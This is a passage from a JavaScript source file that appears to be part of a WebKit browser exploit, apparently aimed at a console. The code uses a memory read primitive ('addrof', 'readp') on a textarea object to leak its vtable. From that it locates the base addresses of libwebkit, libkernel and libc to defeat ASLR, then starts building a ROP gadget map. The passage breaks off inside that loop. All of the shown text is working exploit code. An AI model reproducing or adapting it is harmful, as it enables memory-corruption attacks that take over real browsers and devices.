| 156 | export const gadgets = new Map(); |
| 157 | |
| 158 | function get_bases() { |
| 159 | const textarea = document.createElement('textarea'); |
| 160 | const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl); |
| 161 | const textarea_vtable = webcore_textarea.readp(0); |
| 162 | const libwebkit_base = find_base(textarea_vtable, true, true); |
| 163 | |
| 164 | const stack_chk_fail_import = |
| 165 | libwebkit_base |
| 166 | .add(offset_wk_stack_chk_fail) |
| 167 | ; |
| 168 | const stack_chk_fail_addr = resolve_import( |
| 169 | stack_chk_fail_import, |
| 170 | true, |
| 171 | true |
| 172 | ); |
| 173 | const libkernel_base = find_base(stack_chk_fail_addr, true, true); |
| 174 | |
| 175 | const memcpy_import = libwebkit_base.add(offset_wk_memcpy); |
| 176 | const memcpy_addr = resolve_import(memcpy_import, true, true); |
| 177 | const libc_base = find_base(memcpy_addr, true, true); |
| 178 | |
| 179 | return [ |
| 180 | libwebkit_base, |
| 181 | libkernel_base, |
| 182 | libc_base, |
| 183 | ]; |
| 184 | } |
| 185 | |
| 186 | export function init_gadget_map(gadget_map, offset_map, base_addr) { |
| 187 | for (const [insn, offset] of offset_map) { |